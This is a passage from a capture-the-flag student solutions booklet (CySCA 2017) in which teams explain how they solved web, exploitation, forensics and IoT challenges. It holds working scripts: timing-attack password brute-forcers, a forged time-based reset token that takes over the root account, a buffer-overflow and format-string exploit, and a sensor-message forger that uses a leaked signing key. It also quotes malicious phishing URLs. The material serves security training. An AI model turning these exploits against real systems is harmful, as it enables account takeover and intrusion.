turn(rotate_right(3, get_position(), 15))
turn(rotate_left(2, get_position(), 35))
turn(35)
res = unlock()
#brute()
lock()
win(15)
status()
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 11 | P a g e
so the lock requires you to twist the lock
4 time sleft - number passes the 'index' 4 times.
3 times right - number passes the index 3 times
2 times left -
I have a 6 number buffer +/- of the target
so if I go
0-5-10 11-15-20 21-25-30 31-35-40 41-45-50
then its only 5^ 3 combinations which is trivially brute forced
so time to do the maths
my hit positions are
5,15,25,35,45
doing the maths.
general algorithm.
- check current position
- 3 * 50
so you do target - current
if res < 0 then 50 - res
-80.0 35.0 KK WE GOOD 5, 15, 35
Challenge 5: Hot coffee helps me sleep Challenge Description
Generating random data with hardware is hard
Writeups
CU1 due to the fact that the web app individually performs bCrypt per character within the password, it is
susceptible to a timing attack.
as more correct letters are guessed, more letters will be run through bCrypt (increasing response time), it is
possible to iterate over letters from a-z until a large increase in response time is observed
at which point the nth letter is now known and you can move onto guessing the (n+1)th letter
eg:
aaaaaaaa
baaaaaaa
...
qaaaaaaa
...
quaishua
UNSW1 Timing attack it hashes each character with a slow function. so, you brute force by observing the timings for
each character.
for alph in {a..z}; do echo $alph; time cURL
"http://10.13.37.210:8000/api/private/setTemperature?username=root&password=quaish"$alph"a&newTemperature=15"; done
by hand
UNSW4 Timing attack
Read the docs, inferred timing vuln.
Used this code with some manual intervention when false positives occurred:
import requests
import string
import time
PW_LENGTH = 8
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 12 | P a g e
current_pw = ""
TIME_DIFFERENCE = 0.75
for i in xrange(len(current_pw), PW_LENGTH):
for c in string.lowercase:
print (current_pw + c).ljust(PW_LENGTH, 'a'),
start_time = time.time()
r = requests.get("http://10.13.37.210:8000/api/private/settings",
params={'username': 'root',
'password': (current_pw + c).ljust(PW_LENGTH, 'a')})
total_time = time.time() - start_time
print total_time
if total_time > TIME_DIFFERENCE * (i + 1.5):
current_pw += c
print "SUCCESS for " + str(i)
break
MONU1 After manually enumerating the password length (trying "a", then "aa", "aaa", etc) to a length of 8, and
knowing that bCrypt can often be targeted with a timing attack (especially if it uses 50 cycles PER
CHARACTER), we created a python script to perform our exploit.
Assuming that character n would only be hashed and tested after character n-1 had been checked, we
created the following exploit:
import requests
import time
url = "http://10.13.37.210:8000"
api_settings = "/api/private/settings"
def req(api, username="", password="", post=False, ret=False):
data = { "username": username, "password": password }
if post:
r = requests.post(url + api, data=data)
else:
r = requests.get(url + api, data=data)
if ret:
return r.text
else:
print(r.text)
def settings(username="root", password="pass", ret=None):
string = req(api_settings, username=username, password=password, ret=ret)
if ret:
return string
t = 0
c = ""
p = "" # quaishua
for _ in range(0,8):
t = 0
for i in range(0, 26):
passwd = (p + chr(i+0x61)).ljust(8, "a")
print(passwd)
start = time.time()
settings(password=passwd)
end = time.time()-start
print(str(end)+"\n\n")
if end > t:
t = end
c = chr(i+0x61)
p += c
This resulted in the flag being revealed in the returned JSON.
ANU1 timing attack. bCrypting each character takes a long time and presumably the comparison is done until one
character is wrong. so, I started at the front and found which character made it take the longest and worked
my way through the password.
Challenge 6: Katy Perry my datacenter Challenge Description
To control the weather, you'll need the key to the earth simulator first
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 13 | P a g e
Writeups
UNSW1 set temperature to 120 using the hot coffee challenge
the key becomes fffffffffffffffffffff
and you get /api/images/relax.gif from decrypting the message
from this you check the headers and get /api/are-you-speaking-my-language
realise there's an accept-language header that asks for a directory
follow the hint and set accept-language to men-at-work
gives you the flag.
MONU1 We use our exploit from the "Hot coffee helps me sleep" timing attack to use the password "quaishua" to
increase the temperature to 100 degrees, which prevents the hardware RNG from operating effectively,
resulting in encryption keys of "f"*32.
We then use the python script provided to decrypt the AES, giving us an image URI. The image itself is
worthless, but inspecting the header gives you a custom HTTP header containing another URI. Navigating
there (with the prefix of '/api') gives you an error about the language. It is reflected to the page and is
vulnerable to LFI. Using the string 'men-at-work' in its place gives you the flag.
Challenge 7: My reset tokens are ready Challenge Description
This is ME
Writeups
QUT1 This was essentially just a process of manual enumeration and manipulation of end-points in the API. I began
by trying to access all the public end-points. It became clear that I needed some basic authentication to
access endpoints like '/public/user', I used the /public/user/register function to set up an account.
From there, I dumped the user names and saw there was a root user.
Once I had the username of the privileged user, I spent time trying to leverage the system functions to give
me access to its parcels (where I assumed there would be a flag).
It took me a long time to figure out how to capture the token -- I spent some time trying to reverse the binary
that was provided ("I'll just replace the phone numbers!" I whispered into the void), but in the end, it was some
frustrated button mashing (repeated refreshes) that showed me requests made in quick succession sent
duplicate tokens. After that, I wrote a basic python script to send two token requests -- one for 'root' and one
for 'ROOT'. Success!
This was extremely satisfying, thank you!
UTS2 After spamming the 'Get Reset Token (SMS)' button, I made an account to that I could reset the tokens (as
the challenge name suggests). I had the .bin file running in the background, reset the token, and inputted it
into the 'Reset Password', but there seemed to be more left to do than that as nothing had really happened.
I did an experiment by spamming the reset token button to see how they change and noticed that some of the
tokens were the same. So, I looked at the challenge description 'This Is ME', noticed that the capitalised
letters were 'TIME', and noticed that there was a time in the .bin file along with a line that says "+1000" which
I assumed meant 1000ms (1sec), and lead me to a theory that tokens were the same for 1sec.
I tried sending 'Get Reset Token (SMS)' requests at the same time for my account and the 'root' account,
and took the token from my account to be inputted into the 'root' account.
MQU1 I discovered that forgotten password requests that occur in the same second have the same reset token.
I first found the list of user names using python
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 14 | P a g e
import urllib.parse
import urllib.request
base = 'http://10.13.37.210:8002/api/'
public = base + 'public/user/'
values = {'username' : 'Dr. Jan Itor', 'password':'123'}
data = urllib.parse.urlencode(values)
data = data.encode()
req = urllib.request.Request(public, data, headers=headers, method='GET')
#req = Urllib.request.Request(URL)
the_page = None
with urllib.request.urlopen(req) as response:
content = response.read()
import json
users = [l[0] for l in json.loads(content)['user']]
Using some more python I requested tokens for the targets and my user
for user in users:
values = {'username' : user}
data = urllib.parse.urlencode(values)
data = data.encode()
req = urllib.request.Request(URL, data, headers=headers, method='GET')
the_page = None
with urllib.request.urlopen(req) as response:
print(response.read())
I finally used the token I received to reset my targets password.
ECU1 So, the given file acts as an SMS receive service for a single phone number.
I registered a user (test:test) with the associated phone number and smashed password resets.
Tokens were the same, so assumed time based.
I wrote a python script to send two requests pretty much at once for two different users.
token in reset field. :~)
Reset password for "Jan Itor" to 1
login.
ok this works.
Tried admin and root in reset form to see if they existed. Cool, root exists.
did the same for "root"
flag get.
MONU1 After creating a new user and requesting a reset token for our account, we made the observation that the
token could be an MD5 hash. We ran the token through https://hashkiller.co.uk/md5-decrypter.aspx
which revealed that the token was an MD5 hash of the current UTC time in the format of a UNIX timestamp.
We could then generate our own MD5 hash of the current UTC UNIX timestamp and submit a password reset
for the root user with a password that we control, and retrieve the root user’s parcels.
import requests
import json
import hashlib
import time
url = "http://10.13.37.210:8002"
api_status = "/api/public/status"
api_getResetToken = "/api/public/user/getResetToken"
api_resetPassword = "/api/public/user/resetPassword"
api_parcels = "/api/private/user/parcels"
def get(api, data=None, post=False, pretty=False):
r = requests.get(url + api, data=data)
parsed = json.loads(r.text)
if pretty:
print(json.dumps(parsed, indent=4, sort_keys=True))
else:
print(r.text)
print("\n")
return r.text
def status():
data = { }
print("Requesting " + api_status)
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 15 | P a g e
return get(api_status, data=data)
def get_reset_token(username=" "):
data = { "username": username }
print("Requesting " + api_getResetToken)
return get(api_getResetToken, data=data)
def reset_password(username=" ", token=" ", password=" ", confirm=" "):
data = {"username": username,
"newPassword": password,
"confirmNewPassword": confirm,
"token": token
}
# print("Requesting " + api_resetPassword)
return get(api_resetPassword, data=data)
def parcels(username=" ", password=" "):
data = {"username": username,
"password": password
}
print("Requesting " + api_parcels)
return get(api_parcels, data=data)
if __name__ == '__main__':
status()
get_reset_token(username="root")
unix = str(time.time()).split(".")[0]
token = (hashlib.md5(unix.encode('utf-8')).hexdigest())
reset_password(username="root", token=token, password="rootpassword", confirm="rootpassword")
parcels(username="root", password="rootpassword")
Challenge 8: Lampje Challenge Description
One of the devices appeared to have been hacked. Can you please check it out for us?
Writeups
UNSW1 Oh my god. is this even web.
You spam the webcam to get the username and password from doug (that movie is great)
Then you login and get the creepy gif.
from the creepy gif you realise there are 3 images in rotation
so i just went convert shitty.gif shitty.png
then md5sum * | cut -d' ' -f1
then sort and do your conversion from hashes to dots and dashes. and blamo you get
/api/public/aiy8eidu and you got your flag.
kudos for being creative. I liked 2015's web better.
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 16 | P a g e
Detect and Defend
Challenge 1: OZMA Challenge Description
Our engineers love sharing stories about Tik-Tok but who else read it?
Writeups
UOW1 opened pcap in Wireshark
filters for unusual protocol
found an unrecognized
followed the TCP stream and got the wizard of oz
destination mac of the recipient in the frame
dest mac also read the story
SWIN1 We have selected this MAC address by filtering all unique MACs in the .pcapng file and looking carefully at
the volume and direction of traffic. (An eBook we assumed would be high volume - and this appears to be the
case).
UNSW3 tshark -r "ozma.pcapng.part" -Tfields -e eth.src -e eth.dst -e ip.src -e ip.dst -e
http.host | sort | uniq
oscp response is 00:50:56:91:30:4f
ECU1 Opened the PCAP in Wireshark. Looked through a number of packets and noticed plaintext of a story. Filtered
the packet display to x11 and arranged by Source.
An eBook was sent via the x11 protocol called "The Project Gutenberg eBook of Ozma of Oz" by L. Frank
Baum. The book is retransmitted again between the same IP addresses.
2 IP addresses are identified in the exchange: fe80::165c:7e74:bb0e:4a5a
fe80::f732:71e7:2ee7:e645
The MAC addresses for these are: 00:50:56:91:2d:31
00:50:56:91:ab:59
The eBook is again sent from the same IP to the same IP, however there is a new MAC address for the
receiver: 00:50:56:91:30:4f
This must be the second one.
CDU1 We first see the packet number: 27648, where the address IPv6 address: fe80::f732:71e7:2ee7:e645 (which has
the mac address: 00:50:56:91:ab:59) sends the packet to: fe80::165c:7e74:bb0e:4a5a (which has the mac
address: 00:50:56:91:30:4f).
We then see the mac address 00:50:56:91:30:4f re-sends the data as the IPv6 address
fe80::f732:71e7:2ee7:e645, they send the data to: fe80::165c:7e74:bb0e:4a5a (with the mac address:
00:50:91:2d:31). It seems that the transmission is going through the mac address: 00:50:56:91:30:4f each time
and this mac address seems to be spoofing their address and acting as a man in the middle with the
transmission.
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 17 | P a g e
Challenge 2: It's Tic Toc. Not Tic Tap! Challenge Description
Search the IPFIX records in Splunk and name the IP leaking data.
Writeups
ECU1 I looked at common IP's using this filter: sourcetype=ipfix | top limit=20 source
and then looked at events to the one spewing out data.
Got this IP.
sourcetype=ipfix source="172.16.203.1:53853:256"
TNSWW2 I found that the device at IP 172.16.205.231 was sending data to external IP Addresses such as 223.0.0.251
and 162.213.33.50 by checking the IPFIX records
TNSWW4 Having accessed "splunk.cysca:8000", the IP address in question was discovered by executing
sourcetype=ipfix. This was done by going into Data Summary, then Source types and selecting ipfix. After
being presented with copious amounts of events, we narrowed down the selection by selecting the
"destinationIPv4Address" field from the sidebar, and then by selecting the "Events with this field"
report.
This then gave us multiple events proving that the IP address 172.16.205.231 was leaking data to third party
IPs
MONU3 Searching through the destination IP addresses of the IPFIX records, we find that most of the traffic is
between addresses on the same IP address range (172.16.x.x). 172.16.205.231 communicates with
10.66.212.14, 10.66.212.140 and 203.0.113.62 and other external IP addresses on a regular basis.
MONU2 created a count of source IP connection to destination IP. the result is exported to a csv file to be analysed in
python
The python script was able to extract the information. the data suggest that the answer IP is talking to a
foreign IP address 203.0.113.62 over 177 times without any data being sent back. this is one of a kind and
suggests something fishy is going on. if a node is only sending out data but not receiving from the destination
tells me that there might be a data leakage from the IP address
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 18 | P a g e
Exploitation
Challenge 1: Eggs and Bacon Challenge Description
Someone had the bright idea of making a heartbeat service for all our IoT gizmos to call home to. See if you can
break it!
Writeups
MQU3 ran Strings eggsandbacon.bin and noticed %d %s ; this is most likely parsing the input from the user into
the server
so I tried 4 aaa -> seemed to output something so I tried a couple of other values
running 128 a returns aLAG{4E373E504581A9D68F5F3D5A3E601610} -> this is clearly the flag where the a replaced the
F
RMIT1 nc -v exploit.cysca 11111 Warning: inverse host lookup failed for 10.13.37.85: Unknown host
exploit.cysca [10.13.37.85] 11111 (?) open
99
99
0
0
[!] ok with heartbeat length 99
0LAG{9204FD2C0E7F094ADAF2A7E50B9F1662}
MONU1 Looking at the binary we are provided, it reads the flag file into memory using fread(), it then takes user
input using fscanf %d %s, meaning it wants us to provide a decimal value and then a string. Following this it
then checks that the length of the %d parameter > 128. The %s parameter is then copied into the stack and
then that location on the stack is then printed using printf().
The vulnerability here is due to the placement of the fread() return value (the flag) on the stack. It means
that if we provide the scanf() call with a value less than 128 for the %d parameter and then 1 character for
the %s parameter, the printf() call will print whatever is on the stack at that current location, which in this
case is the flag string read from the flag file on the server. We can then see the flag value -1 character which
is the start character F.
MQU2 I decompiled the eggsandbacon.bin with IDA 64 and deduced that the input of "128\x00" would result in
the flag buffer being printed so i executed
echo "128 \x00" | netcat exploit.cysca 11111
and got the flag
FLINU2 Connected to Eggs and Bacon server using netcat (nc command). After trial and error, figured out the string
sent to be accepted must start with a number. Tried various numbers. Tried numbers followed by strings.
Figured out that if a string with a number was sent, that number of characters of the rest of the string would be
sent back (e.g. 1abc would send back 1bc, accept it, then send 'a' (1 character of string following numbers).
If a large number followed by a space was sent, then the memory locations after it would be read and sent up
to that length. Sending 50*space* returns the flag from memory.
Challenge 2: Warmup Challenge Description
Hmm? What's this?
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 19 | P a g e
Writeups
MONU1 After the challenge was re-created, we promptly went about reversing the new binary. After identifying the
new input values, we could see that there were 2 vulnerabilities in the file. The first was a format string
vulnerability in the printing of the name you provide using the 'n' option in the program.
The second vulnerability is a stack overflow. After attempting to leak the flag via the stack, we realised that the
function __libc_init was exported and because ASLR and PIE are disabled, we can reliably use the
address of this function. Coupled with our stack overflow, we can easily write 40 bytes into the name buffer to
then reach the return address and overwrite that with the address of __libc_init and get our flag.
MUR2 Created a python script to connect to the server, submit the n to get into the input field which was found by
using binary ninja to follow the flow and read the cmp value. Then used the website
(https://projects.jason-rush.com/tools/buffer-overflow-eip-offset-string-generator/) which
helped figure out where the offset was.
Then discovered the address of the flag through binary ninja by inspecting the functions and coming across
the function __libc_init.
We could then encode the address into the buffer overflow and pad it out with symbols to ensure it properly
crashed.
Python script is below:
import socket
import time
host = "10.13.37.85"
port = 11511
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall("n")
s.sendall("\n")
time.sleep(1)
s.sendall("a"*40 + "\x75\x87\x04\x08" + "a"*400 )
s.sendall("\n")
time.sleep(1)
data = s.recv(4096)
print('Received ' + data)
s.close()
#time.sleep(1)
MQU3 Disassembled with objdump and reviewed how the program was functioning. the _libc__init function looks
interesting and on further inspection seems to load the flag... hmmm (fopen and printf says congrats on
flag!)
The main program goes around the party function, where it loads the address of meow function onto the stack
at ebp -0x5c = 12 byte offset. It then prompts the user ... from observing the control flow we notice that the
character 'n' allows to create a new name, 'p' jumps back to the new prompt, and 'q' quits out of the program.
Also, it is noted that when the "new name" prompt is started the name is put on the stack at ebp - 0x34 =
52 byte offset.
So, we have an overflow bug to corrupt where the meow function address is stored on the stack, since the
buffer is allowed 256 bytes. We also noted that meow is called by placing the ebp - 0x5c memory address
into eax and calling it.
So, we corrupt this memory address using a python script to insert the special character bytes such as \x08
\x04 so it calls party which gives the flag and then hey presto!
MONU3 I initially thought the vulnerability was format strings. but then I quickly realized I couldn't get the address of
GOT entries to overwrite. So, then I rage quit and inadvertently caused a buffer overflow. Then I realized that
the format variable was vulnerable to a buffer overflow all along!
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 20 | P a g e
From there, I created a pattern string with gdb-peda, and found out the padding required before overwriting
the part of the stack which will be stored into EAX before calling meow(). Then when the next time meow()
was called, the "win" (_libc_init()) function got called.
UNSW2 got puts overwrite GG
from pwn import *
local = 0
if local:
r = process("./warmup.bin")
else:
r = remote('10.13.37.85', 11511)
print r.recvuntil("> ")
def send_payload(payload):
r.sendline("n")
print r.recvuntil("> ")
print "sending: '{}'".format(payload)
r.sendline(payload)
print r.recvuntil("> ")
r.sendline("p")
re = r.recvline().strip()
re.strip('p')
print "recvd: '{}'".format(re)
print r.recvuntil("> ")
return re
f = FmtStr(send_payload)
# write (GOTputs <= libc_init)
f.write(0x08049e04, 0x08048775)
f.execute_writes()
r.interactive()
Challenge 3: MOVpwn Challenge Description
I found this service running on my IoT control centre. Some hackers must have left it running there, but I can't
make heads or tails of it. What's this?
Writeups
MQU3 netcat into server ... enter some garbage and see that it wants us to type in 'i like animals'
type in a couple of animal names... e.g. cat, dog ...nothing
disassemble the binary ... lot of MOV's ... NOPE!
maybe there is a buffer overflow? try 'i like animals' again, but this time enter a heap of characters
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
wow it's not an animal but he has 1633771873 flags! EZ PEZ
MONU3 We saw that other than all the move commands it had two commands where it was rewriting system signals. It
replaced segmentation fault and illegal instruction with custom functions/addresses meaning that as long as
we could cause one of those faults we would be running the new function.
By entering in a name with over about 110 characters we were able to put enough data into memory that
when it tried its next mov command it must have hit our data and caused one of the two faults causing the flag
to be returned.
MUR2 After several attempts including loading the binary in binary ninja, creating a python script to send through a
large list of animals sourced from GitHub (https://raw.GitHubusercontent.com/hzlzh/Domain-Name-
List/master/Animal-words.txt) one at a time to try and find the right animal name, grabbing all the strings
from the file and grepping them I finally decided to just spam the keyboard at the prompt and got through.
Python script below for posterity:
import socket
import time
host = "10.13.37.85"
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 21 | P a g e
port = 11211
with open("animalnames.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
for elem in content:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print elem
s.sendall("i like animals")
s.sendall("\n")
time.sleep(1)
s.sendall(elem)
s.sendall("\n")
time.sleep(1)
data = s.recv(4096)
print('Recieved ' + data)
s.close()
#time.sleep(1)
f.close()
RMIT3 1. Used `netcat` to access provided IP and port number
2. Tried various inputs, eventually following the instructions that stated to try typing in 'i like
animals'
3. After numerous guesses, tried spamming the program with a large length of characters, causing the
program to fail and abort
4. Found flag above memory heap dump
UNSW4
After hours of trying to learn how to use angr, we ended up solving this by buffer overflowing with
capital 'A's. I tried lowercase 'a's long before this I'll have you know.
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 22 | P a g e
Forensics
Challenge 1: IO Challenge Description
What is the link that was used to compromise the user?
Writeups
CIT1 We filtered by pop and following the stream, and noticed that the user had received a dodgy looking email
from admin@barracuda.com to john@test.com. This email had a pdf attachment encoded with base64. We copied
the encoded text into a txt file and used OpenSSL to convert the text file to pdf.
openssl base64 -d -in test.txt -out testagain.pdf
SWIN2 I opened the packet capture in Wireshark and filtered the packets with: http contains ".exe"
This showed any HTTP packets that contained ".exe".
I found an "application/hta" packet and determined that this packet contained a VB script which
launched a PowerShell command (which was base64 encoded).
I followed the TCP stream of this packet to find the full URL (in packet 10621) that I have given as the flag.
RMIT4 First, Unzip package. Then, use Wireshark open pcap file. and re-save to the asdf.pcap.
Then, use software - NetworkMiner and search email, and finally, find the pdf file.
UOM1 We look only at the pcap for this question. We are told that there is a link used to compromise the user,
meaning that the user either saw it on the web or in an email (at least a very high probability). We believe it's
email (due in part to the hint but trial and error would have worked with only two things to test), so we set the
filter to only show the POP layer.
We notice a great deal many packets and Follow the TCP Stream on the first to find out the structure of an
email that is sent that has an attached file. There are methods to automate this, but that does not matter for
this problem.
We copy the base64 string and decode it into a binary file. The header states that the file is PDF, which we
set as the file extension and open. There is a link in the PDF that we use as the flag.
QUT2 1. Searched the pcap file for email to see if there were any emails the user received. Found a phishing
email that says to follow instructions on attached file, which is called baracuda.pdf
2. Follow TCP stream, to see the attachment below, which is encoded.
3. Charset includes A-Za-z1-9 and special characters so best bet is base64.
4. Save the string into a text file, use base64 kali program to decode the file, which then gets output into
another text file.
5. search text file for http:// because file should be hosted somewhere, and that is first place to start.
6. Find all the http:// addresses are to legitimate sources except for
http://miscemails.dyn.nerds.lu/miscemails.hta and
http://malicioushost.com.au/simon.hta however, to successfully pull off a phishing scam,
would more likely have a domain related to nerds and emails than "malicioushost"
Challenge 2: Europa Challenge Description
What is the SHA1 sum of the payload?
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 23 | P a g e
Writeups
ECU4 with previous RSA key save it to a file
then enter the following command
cat (filename) | base64 -d > barracuda.pdf
open the .pdf and click the "Click here to release emails link"
download the file and sha1 it
sha1 miscemails.hta
FLINU1 We downloaded the payload from the link in previous flag. Then ran sha1sum to get the hash.
UNSW3 This is the payload from the file that is downloaded from the link of the email.
TCP.stream eq 161
sha1sum miscemails.hta
MONU1 After extracting the pdf and identifying the malicious domain. I created a filter in Wireshark to view the HTTP
GET request made that contained the payload. This then revealed the embedded script within the page, which
downloaded a payload to the user’s system and then ran it in the context of that user.
To obtain the sha1sum, I copied that script from the page into a file and then used the command line tool
sha1sum to verify its hash.
SWIN2 I exported the miscemails.hta from Wireshark (Export Objects -> HTTP).
I then ran "sha1sum miscemails.hta" and removed the filename from the output (original output was sum +
filename).
The result was the sum by itself, which is the flag.
Challenge 3: Ganymede Challenge Description
What is the process id of the infected process from this attack?
Writeups
ANU1 The payload spawns two nested PowerShell instances, the parent having the PID 1668, before executing its
encoded and compressed payloads
ECU1 Searched for a list of processes within the supplied memory file using volatility.
volatility --profile=Win7SP1x64 -f memory pslist > mem_pslist.txt
Due to the previous challenge using PowerShell, I looked for processes linked to PowerShell/
cat mem_pslist.txt | grep -i PowerShell
Shows four instances of PowerShell processes.
Ran a volatility netscan, then checked the output
volatility netscan -f memory --profile=Win7SP1x64 > mem_netscan
cat mem_netscan | grep -i PowerShell
Only one PowerShell process made a network connection (output below). 0x13e568990 TCPv4 192.168.26.139:49362 192.168.26.136:4444 ESTABLISHED 1272 PowerShell.exe
UNSW3 From the payload found in the Wireshark packet captures, we know that the payload is targeting
PowerShell.exe.
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 24 | P a g e
From using volatility on the memory dump with these two commands:
```
export VOLATILITY_PROFILE=Win7SP1x64
export VOLATLITY_LOCATION=file://mypath/memory
vol.py malfind --dump-dir malfind
vol.py PSTree
```
On outputting malfind my antivirus detects malware in the file: process.0xfffffa803294a2c0.0x5f20000.dmp
In the pstree output the address of 0xfffffa803294a2c0 correlates to `PowerShell.exe` which has the process
id of 1272.
Uploading this same memory dump to virus total gives a detection rate of 34/59, and signs that it has a
meterpreter (Metasploit feature for shell-like terminal) hook within it.
MQU2 I looked into the volatility scan
Plist, Malfind, Netscan, and psxid
Looking in plist I saw that there were PowerShells. One process opened cmd windows and this one must be
the infected process
UTS3 Initially wrote the command, `volatility -f memory --profile=Win7SP1x64 pslist` which gave us the
list of process IDs, however we needed to see the relationship between the infector and infectee.
therefore, we output `volatility -f memory --profile=Win7SP1x64 PSTree` to see the parent vs. child
relationships.
Challenge 4: Callisto Challenge Description
What database tables have been stolen? List the names.
Writeups
UOS1 Created timeline in volatility and saw the SQL tables after May 07 17:26
UNSW1 mftparser to find files in the temp directory that the attackers used to exfil. pops up with three new .SQL files
UTS1 Used Volatility to memdump the mySQL.exe process as a dump file. Then used grep to filter the dump file for
select statements from the employees database.
ECU1 Used volatility on the memory file provided to extract MTF records and copy to file.
volatility -f memory --profile=Win7SP1x64 mftparser > mem_mftparser.txt
Used grep to search for .SQL files. The above tables were found within the temp folder instead of the MySQL
standard location with multiple other tables.
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 25 | P a g e
MONU3 Used mftparser to scan the master file table for .SQL files. Used grep to limit output time to 07:26 when the
files were taken ( based on what I had seen in timeliner)
Challenge 5: Enceladus Challenge Description
The attacker uploaded files for persistence. What are their names?
Writeups
MONU3 Did a filescan of the memory for batch files and found a bc2d.bat that starts bc2d.b4mee in
john\Appdata\local.
ECU1 Used volatility to extract the MFT records.
volatility -f memory --profile=Win7SP1x64 mftparser > mem_mftparser.txt
Identified suspicious files based on date of initial infection. Spent a considerable amount of time trying to line
up timestamps. These two were stuck out due to the odd naming convention and close proximity to each other
in the AppData\Local\ folder.
Challenge 6: Tethys Challenge Description
What is James' password after he reset it?
Writeups
ECU1 Search the pcap for `matches "pass"` and find the two conversations.
Use php_mt_seed 15915983420 to find the mt_rand seed of 863592. Get new mt_rand() until you match
the token, then do it again to get the final number. Concat them together.
UNSW1 untwister.
pick the numbers from his tokens as the mt_rand seeds.
pick the right random number generator.
run for 15 seconds.
then do your appending with the global seeed.
kthxbai
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 26 | P a g e
IoT ESP8266
Challenge 1: Take a Peak Challenge Description
Check out the firmware, I wonder what you can find.
Writeups
ECU4 After uploading the game firmware to the device and letting it run, we then let it run for a little bit before we
dumped the memory again off the device by typing esptool.py -p /dev/ttyUSB0 read_flash 0x0
4194304 dump1.bin once dumped we ran it through strings to find the flag
UTS2 This is the self-signing-key, which was found by using strings on the IOT filesystem from 0x9000 onwards.
The script contained the key - which had a further comment which hinted at its purpose.
RMIT2 used flash_read to pull firmware after calling temperature challenge
mounted files by mount -o loop=/dev/loop0 iram6.bin fs
Found here:
def __init__(self):
self.URL = "http://tempsensor.cysca/data"
###You should know what below is.
self.signing_key = "SOXU9FXRDHL6UQBWGQJCRFGPOTQK2136"
FLINU2 Used esptool.py to read the flash off of the IOT device using the command esptool.py read_flash
0x89990 100000 binary21.txt.
This gave me data before and after the specified address, which led me to the flag contained in the
self.singing_key section of the tempsensor class.
UNSW2 Flash the firmware, run the IoT device for a while, then dump the firmware (esptool.py read_flash 0
1048576 ram0.bin).
Then string through the binary dump strings ram0.bin | less and look for interesting stuff. Come across
python object with a sneaky comment "###You should know what below is." and the a signing key
underneath SOXU9FXRDHL6UQBWGQJCRFGPOTQK2136
Challenge 2: Whoop Whoop Whoop Challenge Description
Trigger the Fire Alarm.
Writeups
UNSW3 I copied the python script from the firmware and extracted the sections that were involved with composing and
sending the sensor reading message to the server.
I made a false reading object with a temperature value of 500, I then signed this using the static key from the
firmware and sent it to the server. (MAC address was read from the tictoc website along with the UTC
timestamp format).
CU1 >Step 1: grab the fs dump from previous question
>Step 2: mount it as a drive
>Step 3: modify the main.py so that rather than polling actual temp results, it simply harcodes temp to 500
>Step 4: flash modified fs back to device (esptool.py -b 115200 -p COM<#> write_flash 0x90000
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 27 | P a g e
flash.dmp )
>Step 5: connect via serial and observe the server response
MQU2 Using the before obtained python code we edited the code to add 600 degrees to the temperature and wrote it
back into the flash memory.
dd if=/mnt/hgfs/Files/CySCA/code.txt of=dump_fire.bin bs=1 seek=$((0x9000))
count=$((0x1050)) && esptool.py --port /dev/ttyUSB0 --baud 11500 write_flash 0x90000
dump_fire.bin && screen /dev/ttyUSB0 115200
the IoT executed the modified code and sent malicious values to the backend and received the flag
UNSW2 - watched the traffic in Wireshark, worked out it was sending the temp/humidity data + a signature
- tried to just replay something but couldn't get the signature correct
- dumped the firmware using esptool: (I can't find the command in my bash history so this might not be totally
correct syntax?)
`esptool.py read_flash 0 1048576 output.bin`
- read through it and found the python code at the bottom, with the procedure for getting and sending the
temperature, in particular the method used to generate the signature
- modified the python code to run locally on my computer:
#import sensor
import requests
import datetime
#import URLencode
from urllib import urlencode
import hashlib
import binascii
#import gc
#from time import sleep_ms
from json import dumps
signing_key = "SOXU9FXRDHL6UQBWGQJCRFGPOTQK2136"
url = "http://tempsensor.cysca/data"
def do_thing():
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
t = 505
h = 50
jsondata = genjson(t,h)
sig = sign(jsondata)
#postdata = {"data":jsondata,"signature":signature}
postdata = {"data":jsondata,"signature":sig}
print(postdata)
postdata_encode = urlencode(postdata)
try:
response = requests.post(url,data=postdata_encode,headers=headers)
except Exception as e:
print( e)
if response.status_code == 200:
print( response.text.strip())
else:
print ( "ERROR %s: %s"%(response.status_code,response.reason.decode("utf-8").strip()))
def sign(jsondata):
#sign the jsondata array with secret+data
data = bytearray(signing_key+jsondata+signing_key)
hash = hashlib.sha1(data)
hash = binascii.hexlify(hash.digest()).decode("utf-8")
signature = hash.upper()
return signature
def postdata(self,jsondata,signature):
#send data to server
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
postdata = {"data":jsondata,"signature":signature}
#print(postdata)
postdata_encode = urlencode.urlencode(postdata)
def genJSON(temp,humidity):
#gen the JSON string with mac, timestamp, temp, humidity
#mac = wifictrl.getmac()
mac = "A0:20:A6:04:99:11"
#timestamp = rtc.timestr(rtc.utctime())
timestamp = str(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
data = {"MAC":mac,"TIMESTAMP":timestamp,"TEMPERATURE":temp,"HUMIDITY":humidity}
jsondata = dumps(data)
return jsondata
do_thing()
© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 28 | P a g e
UOS4 First, Wireshark was used to inspect the packets
Man in the middle attack was used - the packets needed to be intercepted, modified and then passed back
on. This was done by a tool called mitmproxy. Ports 444 and 80 (HTTPS and HTTP) for WLAN were
forwarded to the port that mitmproxy listens to (8080). mitmproxy was then able to be started and stood in
the middle of the computer and tempsensor.cysca.
I then intercepted all packets, and tried to modify the JSON dump section of the data. This was done by a
